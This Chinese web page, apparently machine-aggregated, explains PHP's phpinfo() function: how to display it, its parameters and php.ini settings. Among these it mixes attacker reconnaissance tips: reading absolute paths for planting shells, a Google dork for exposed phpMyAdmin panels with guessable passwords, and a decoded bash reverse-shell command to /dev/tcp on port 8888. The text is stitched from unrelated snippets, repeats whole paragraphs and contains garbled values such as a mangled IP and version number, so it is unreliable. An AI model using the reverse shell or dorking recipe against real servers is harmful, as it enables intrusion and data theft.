phpinfo,phpinfo一句话木马
phpinfo说明
1、PHP的内置函数phpinfo()提供了一个详细且全面的系统配置信息报告,帮助开发者理解运行环境。该函数能输出的信息包含PHP的编译选项、启用的扩展、PHP版本、服务器信息、环境变量、操作系统版本、path变量、配置选项的本地值和主值、HTTP头以及PHP授权信息。
2、使用浏览器查看很简单,:只需要在网站目录创建一个PHP文件,使用上面提到的phpinfo()函数,如:1:?php 2:phpinfo();3:? 然互在浏览器中输入此文件路径即可查看。
3、补充一点:如果ConfigurationFile(php.ini)Path显示为C:Windows就说明,php.ini文件没有读取到。另外,我发现,在用IIS整合php时,有两种方式:ISAPI与CGI模式这两种方式,我们都可以看到phpinfo页面但是使用ISAPI模式,无法读取环境变量,所以通过环境变量PHPRC设置的php.ini路径无法找到。
4、phpinfo();echohello;这样的写法不仅能够有效地注释掉代码,还能够保持代码的可读性。值得注意的是,多行注释符内的内容不会被执行,因此,这些语句实际上不会对程序产生任何影响。另外,除了多行注释符之外,PHP还提供了单行注释符,即使用//来注释。
从phpinfo中能获取哪些敏感信息
从phpinfo()中获取信息,可以帮助我们深入了解服务器环境和潜在的安全漏洞。最常用的获取方法之一是查看SCRIPT_FILENAME,它提供了网站的绝对路径,对于寻找shell和信息收集非常有用。另外,通过phpinfo()可以发现服务器上安装的特定程序,如Redis、Memcache、MySQL、SMTP、cURL等。
直接访问phpinfo页面 在你的服务器上,如果你已经安装了PHP,你可以通过直接访问phpinfo页面来调用PHPinfo函数。这个页面通常可以通过在浏览器中输入[http://你的域名或服务器IP/phpinfo来访问。当你访问这个URL时,]服务器会返回一个包含PHP配置信息的页面,包括PHP版本、服务器软件、系统信息等。
子域名的收集是信息收集的重要部分,可以利用搜索引擎,如Google hack进行搜索,查找子域中可能存在的敏感信息。利用特定的Google搜索命令,如inurl:phpmyadmin/main.php intitle:phpmyadmin等,可以搜寻到一些未加密的数据库管理界面,如phpmyadmin,其默认密码易被猜测,从而直接登录并控制数据库。
解码执行命令后,实际操作为:bash -c bash -i & /dev/tcp/19160.103/8888 0&1。黑客借此远程控制服务器,获取敏感信息或进行其他恶意操作。
phpinfo函数是PHP最为常用的配置输出函数。phpinfo函数能够输出服务器PHP当前状态的大量信息,其中包含了PHP的编译选项、启用拓展、php版本信息、服务器信息、环境变量配置、HTTP头和PHP授权信息。
phpinfo参数
在PHP中,phpinfo()函数可以被用来生成关于PHP服务器环境的详细信息。这个函数允许通过位运算来定制输出的信息,通过参数what来控制。可以通过以下一些或多个常量与what参数结合使用来定制输出的内容。这些常量可以通过位运算进行组合,或者使用or操作符按位运算。这使得用户可以根据需要生成特定的详细信息。
如果想要支持省略?php开头的标签,这叫做短标签:short_open_tag,需要在php.ini 配置文件中设置该选项为short_open_tag = On,然后重启生效。另外还有一个asp_tags = Off,这个参数则可以允许使用% xxxx %形式的标签,类似ASP的代码标签。
首先我们需要查看phpinfo(),来获取PHP版本号及位数(x86表示32位,x64表示64位)、编译器版本、PHP配置文件加载所在位置等信息。 接下来,到扩展列表中找到对应的版本。 下图为php_pthreads-0.9-5-ts-vc11-x8zip的参数详解。 接下来进行解压缩包。
phpinfo()功能描述:输出 PHP 环境信息以及相关的模块、WEB 环境等信息。危险等级:中 passthru()功能描述:允许执行一个外部程序并回显输出,类似于 exec()。危险等级:高 exec()功能描述:允许执行一个外部程序(如 UNIX Shell 或 CMD 命令等)。
如何进入显示PHP具体配置信息的phpinfo页面
1、首先,打开php编辑器,新建一个php文件,例如:index.php。在index.php中,输入代码:phpinfo();。浏览器运行index.php页面,此时打印出了该php服务器上各个配置信息、组件信息的phpinfo页面。
2、直接访问phpinfo页面 在你的服务器上,如果你已经安装了PHP,你可以通过直接访问phpinfo页面来调用PHPinfo函数。这个页面通常可以通过在浏览器中输入[http://你的域名或服务器IP/phpinfo来访问。当你访问这个URL时,]服务器会返回一个包含PHP配置信息的页面,包括PHP版本、服务器软件、系统信息等。
3、方法一:命令行查询,如果已经配置好环境变量,直接在命令行中输入php -v,将会显示php的版本信息。如果没有配置环境变量,直接在命令行中进入到php的安装目录后,再输入命令php -v,在安装目录下输入查询命令,可以看到输出的版本信息为PHP29。
4、Wampserver安装完成之后输入localhost会有欢迎Wampserver界面。查看php输出信息:在页面点击“phpinfo()”进入php配置信息页面,查看php输出信息。wampserver简介:WampServer是一款由法国人开发的ApacheWeb服务器,PHP解释器以及MySQL数据库的整合软件包。
5、新建一个php页面,输入?php phpinfo();?该文档的目的是检测PHP的环境配置,所以如下图输入,然后保存退出。使用浏览器访问页面,会看到是一个PHP配置信息的相关页面。找到Configuration File(php。ini) Path这一行,右边的值/usr/local/webserver/php/etc就是php。
6、使用浏览器查看很简单,:只需要在网站目录创建一个PHP文件,使用上面提到的phpinfo()函数,如:1:?php 2:phpinfo();3:? 然互在浏览器中输入此文件路径即可查看。
phpinfo怎么用
直接访问phpinfo页面 在你的服务器上,如果你已经安装了PHP,你可以通过直接访问phpinfo页面来调用PHPinfo函数。这个页面通常可以通过在浏览器中输入[http://你的域名或服务器IP/phpinfo来访问。当你访问这个URL时,]服务器会返回一个包含PHP配置信息的页面,包括PHP版本、服务器软件、系统信息等。
使用浏览器查看很简单,:只需要在网站目录创建一个PHP文件,使用上面提到的phpinfo()函数,如:1:?php 2:phpinfo();3:? 然互在浏览器中输入此文件路径即可查看。
通过调用 phpversion,可以快速获取 PHP 的当前版本。这对于检查更新、确保应用兼容性以及诊断问题都非常有用。虽然 phpinfo 和 phpversion 都是系统功能函数,但它们提供的信息类型和用途有所不同。phpinfo 提供了更全面的环境配置信息,而 phpversion 则专注于版本信息。
可以直接在Linux命令行使用 phpinfo() 这个十分有价值的调试工具而不需要从文件来调用,只需执行以下命令: 以交互模式运行PHP并做一些数学运算。这里,‘-a‘ 选项用于以交互模式运行PHP。 可以仅仅将PHP脚本作为shell脚本来运行。首先,创建在当前工作目录中创建一个PHP样例脚本。
可以用php自带的函数查看,新建文本文档,填写下面内容:?php phpinfo();? 保存,然后更改文件名为phpinfo.php 放到你域名根目录,然后通过你的域名+phpinfo.php浏览查看。
